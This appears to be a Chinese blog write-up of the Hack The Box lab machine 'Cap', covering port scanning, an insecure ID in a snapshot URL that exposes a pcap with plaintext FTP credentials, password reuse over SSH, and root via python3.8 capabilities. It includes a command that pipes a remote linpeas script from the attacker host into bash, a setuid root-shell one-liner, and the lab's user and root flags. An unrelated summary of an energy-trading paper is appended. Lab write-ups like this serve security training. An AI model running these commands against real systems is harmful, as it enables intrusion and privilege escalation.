HTB:Cap[WriteUP]

目录

连接至HTB服务器并启动靶机

1.How many TCP ports are open?

2.After running a "Security Snapshot", the browser is redirected to a path of the format /[something]/[id], where [id] represents the id number of the scan. What is the [something]?

3.Are you able to get to other users' scans?

4.What is the ID of the PCAP file that contains sensative data?

5.Which application layer protocol in the pcap file can the sensetive data be found in?

6.We've managed to collect nathan's FTP password. On what other service does this password work?

7.Submit the flag located in the nathan user's home directory.

USER_FLAG:029a9540b5ee478fe3284a27075330da

8.What is the full path to the binary on this machine has special capabilities that can be abused to obtain root privileges?

9.Submit the flag located in root's home directory.

ROOT_FLAG:fd175cc81223fb5a4e73a6d0b31579eb


连接至HTB服务器并启动靶机

靶机IP:10.10.10.245

分配IP:10.10.16.7


1.How many TCP ports are open?

使用fscan或者nmap对靶机端口进行扫描:

fscan -nopoc -nobr -no -h {TARGET_IP}

nmap -p- -T4 --min-rate=1000 -sS -Pn {TARGET_IP}

由fscan、nmap扫描结果可见,靶机开放端口:21、22、80 共3个端口


2.After running a "Security Snapshot", the browser is redirected to a path of the format /[something]/[id], where [id] represents the id number of the scan. What is the [something]?

使用浏览器访问靶机URL,在左侧可以找到Security Snapshot

点击后被重定向至data路径下:


3.Are you able to get to other users' scans?

点击左侧的网络状态(Network Status)按钮:

往下拉可以看到,除了我们本机IP(10.10.16.7),还存在IP:1.1.1.1扫描:(yes)


4.What is the ID of the PCAP file that contains sensative data?

再次点击左侧的Security Snapshot

将URL中data后面的数字修改成0,在数据类型的右侧可见出现了数值:


5.Which application layer protocol in the pcap file can the sensetive data be found in?

拉至页面底部,找到左下角的Download点击下载流量文件:

使用Wireshark打开该pcap文件,可以在ftp协议找到使用用户凭证登录ftp的流量:

账户:nathan

密码:Buck3tH4TF0RM3!


6.We've managed to collect nathan's FTP password. On what other service does this password work?

因为靶机已开启22端口SSH服务,所以我们尝试FTP凭证对SSH服务进行登录:

ssh nathan@{TARGET_IP}


7.Submit the flag located in the nathan user's home directory.

使用上文拿到的FTP凭证,连接至靶机ftp服务器:

ftp {TARGET_IP}

列出该用户下的ftp文件列表:

dir

下载user.txt文件到本地:

get user.txt

查看user.txt文件内容:

cat user.txt

USER_FLAG:029a9540b5ee478fe3284a27075330da


8.What is the full path to the binary on this machine has special capabilities that can be abused to obtain root privileges?

连接上靶机SSH服务器:

ssh nathan@{TARGET_IP}

在本地linpeas.sh文件同目录下使用python开启http.server服务:

靶机直接使用curl访问该文件并启用bash读取返回本地信息:

curl http://{NATIVE_IP}:6666/linpeas.sh | bash

可见/usr/bin/python3.8具有设置文件SUID的权限


9.Submit the flag located in root's home directory.

运行该python文件:

/usr/bin/python3.8

导入系统模块:

import os

将当前进程的用户设置为root用户

os.setuid(0)

启动bash,提权成功:

os.system("/bin/bash")

查找root.txt文件路径:

find / -name 'root.txt' 2>/dev/null

查看root.txt文件内容:

cat /root/root.txt

ROOT_FLAG:fd175cc81223fb5a4e73a6d0b31579eb

内容概要:本文围绕“考虑储能和可再生能源误差的售电公司购售电策略”展开,基于Python代码实现,构建了日前调度和日内调度两个时间尺度下的优化模型,旨在帮助售电公司在存在可再生能源出力不确定性及储能系考虑储能和可再生能源误差的售电公司购售电策略(Python代码实现)统参与的情况下,制定最优购售电决策。研究综合考虑了电价波动、负荷需求、储能充放电特性以及风光发电预测误差等因素,通过数学建模与优化算法求解,降低运营风险并提升经济效益。文中强调该策略为顶级SCI复现工作,具有较强的学术参考价值和技术实用性,并配套提供完整的代码资源供学习与验证。; 适合人群:具备一定电力系统基础知识和Python编程能力的研究生、科研人员及从事能源交易、智能电网优化等相关领域的工程技术人员。; 使用场景及目标:① 掌握含不确定性因素的电力市场购售电优化建模方法;② 学习多时间尺度调度框架的设计与实现;③ 复现高水平SCI论文中的优化策略,提升科研能力与项目实践水平。; 阅读建议:建议读者结合提供的Python代码逐模块分析,重点关注目标函数构建、约束条件设置及求解器调用过程,同时可借助文中提及的YALMIP等工具包深入理解优化模型的实现细节,推荐在实际数据基础上进行调试与扩展实验。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

x0da6h

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值